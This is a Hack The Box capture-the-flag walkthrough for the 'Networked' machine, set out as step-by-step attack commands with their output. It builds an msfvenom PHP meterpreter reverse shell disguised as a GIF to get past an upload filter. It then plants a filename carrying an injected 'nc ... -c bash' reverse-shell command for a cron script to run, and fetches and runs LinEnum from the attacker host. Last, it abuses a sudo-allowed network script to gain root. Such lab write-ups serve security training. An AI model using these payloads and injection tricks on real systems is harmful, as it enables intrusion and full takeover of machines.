Networked writeup

Networked writeup

Networked is a machine hosted in Hack The Box.

Step 1: obtaining a shell

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.13.239 LPORT=1337 -f raw > image.php.gif

Make sure to replace the LHOST IP with yours.

If the file is uploaded unmodified from msfvenom, a basic filter will catch it and prevent it from being uploaded.

To get around this, open this file with any text editor and append GIF89a; to the beginning of the file, or use the following one-liner:

echo "$(echo 'GIF89a;' | cat - image.php)" > image.php.gif

Upload it on http://10.10.10.146/upload.php

Open a Metasploit console by running msfconsole, and run the following commands one by one, again making sure to replace the IP with yours.

use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.10.13.239
set lport 1337
set ExitOnSession false
exploit -j

Now, browse to http://10.10.10.146/photos.php

The exploit should launch automatically when trying to load the uploaded “image”.

In your Metasploit console, you will get a message like this:

Meterpreter session 1 opened (10.10.13.239:1337 -> 10.10.10.146:55240) at 2019-09-18 12:40:31 +0200

Run sessions 1 in your Metasploit console, and you will now have a shell to the victim machine.

Step 2: privilege escalation (user)

We only have a limited shell for now.

meterpreter > shell
Process 4856 created.
Channel 1 created.
/bin/bash -i
bash-4.2$ whoami
whoami
apache
bash-4.2$ ls /home
ls /home
guly
bash-4.2$ ls /home/guly
ls /home/guly
check_attack.php
crontab.guly
user.txt
bash-4.2$ cat /home/guly/user.txt
cat /home/guly/user.txt
cat: /home/guly/user.txt: Permission denied

Let’s get the flag for guly user. There is an interesting file: check_attack.php.

$ cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php

This file is ran every three minutes by cron. It probably has vulnerabilities.

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

This PHP file executes a lot of dangerous commands without many security measures.

Open a new shell and run:

$ nc -lvp 9876
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9876
Ncat: Listening on 0.0.0.0:9876

Now, run this in the Meterpreter session.

$ touch '; nc 10.10.13.239 9876 -c bash'

This command will create an empty file with the title ; nc 10.10.13.239 9876 -c bash which will trigger a reverse shell with netcat. Since the crontab entry is executed every three minutes, it might take a while for the host to connect to our netcat session. Once it does, the Netcat shell will read:

Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:47706.

We can now cat the flag.

python -c 'import pty; pty.spawn("/bin/bash")'
[guly@networked ~]$ cat user.txt
<USER FLAG>

Step 3: Root

Let’s enumerate. Download LinEnum to your local machine, and serve it over HTTP.

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2019-09-19 09:13:04--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.132.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.132.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45656 (45K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh      100%[======>]  44.59K  --.-KB/s    in 0.06s

2019-09-19 09:13:05 (787 KB/s) - ‘LinEnum.sh’ saved [45656/45656]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the victim machine, download the file and run it.

$ curl 10.10.13.239:8000/LinEnum.sh > le.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:--100 45656  100 45656    0     0   318k      0 --:--:-- --:--:-- --:--:--  320k
$ sh le.sh

It will output a wall of text with all the findings, and there’s an interesting file in the results:

[...]
[+] We can sudo without supplying a password!
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh


[+] Possible sudo pwnage!
/usr/local/sbin/changename.sh
[...]

There is an interesting file at /usr/local/sbin/changename.sh with the following contents:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

If we try to run it, we get:

$ /usr/local/sbin/changename.sh
/usr/local/sbin/changename.sh: line 2: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied

It is obvious this file can be sudo-ed without a password. This often represents a security vulnerability. There’s a check in place in the form of a regular expression that will restrict the input it accepts. For example, it doesn’t accept ; or |, but we can use \. To get root, simply enter:

\blah sudo su

when asked for input. For the rest of fields it is possible to simply type a repeatedly until the script finishes and we get a root shell.

$ sudo /usr/local/sbin/changename.sh
interface NAME:
/blah sudo su
/blah sudo su
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
[root@networked network-scripts]# cat /root/root.txt
<ROOT FLAG>